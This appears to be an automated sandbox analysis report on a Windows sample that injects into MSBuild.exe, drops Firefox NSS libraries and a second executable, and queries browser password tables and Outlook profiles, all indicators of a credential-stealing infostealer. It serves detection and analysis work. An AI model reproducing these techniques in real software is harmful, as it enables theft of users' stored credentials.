Source: MSBuild.exe, 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000002.00000002.2774952048.000000001B817000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2787499224.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000002.00000002.2774952048.000000001B817000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2787499224.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000002.00000002.2774952048.000000001B817000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2787499224.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: MSBuild.exe, 00000002.00000002.2774952048.000000001B817000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2787499224.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: IJEGDBGDBFIJKECBAKFB.2.dr, HJEHIJEBKEBFBFHIIDHI.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000002.00000002.2774952048.000000001B817000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2787499224.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000002.00000002.2774952048.000000001B817000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2787499224.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: NdSXVNeoET.exe

ReversingLabs: Detection: 28%

Source: unknown	Process created: C:\Users\user\Desktop\NdSXVNeoET.exe "C:\Users\user\Desktop\NdSXVNeoET.exe"
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5796 -s 272
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIDHDGDHJEG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIDHDGDHJEG.exe "C:\Users\userIDHDGDHJEG.exe"
Source: C:\Users\userIDHDGDHJEG.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\userIDHDGDHJEG.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 988 -s 272
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6292 -s 1636
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6292 -s 1576
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIDHDGDHJEG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIDHDGDHJEG.exe "C:\Users\userIDHDGDHJEG.exe"	Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userIDHDGDHJEG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: NdSXVNeoET.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: NdSXVNeoET.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: NdSXVNeoET.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: NdSXVNeoET.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: NdSXVNeoET.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: NdSXVNeoET.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: NdSXVNeoET.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: NdSXVNeoET.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000002.00000002.2787879972.000000006CB4D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000002.00000002.2787879972.000000006CB4D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: NdSXVNeoET.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: NdSXVNeoET.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: NdSXVNeoET.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: NdSXVNeoET.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: NdSXVNeoET.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_00419860

Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.2.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.2.dr	Static PE information: section name: .didat
Source: nss3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.2.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008A71AD push ecx; ret	0_2_008A71C0
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008E7F0D push ecx; ret	0_2_008E7F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041B035 push ecx; ret	2_2_0041B048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB0B536 push ecx; ret	2_2_6CB0B549
Source: C:\Users\userIDHDGDHJEG.exe	Code function: 9_2_001B71AD push ecx; ret	9_2_001B71C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0044F23B push edx; ret	10_2_0044F24B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\a43486128347[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\userIDHDGDHJEG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

2_2_00419860

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
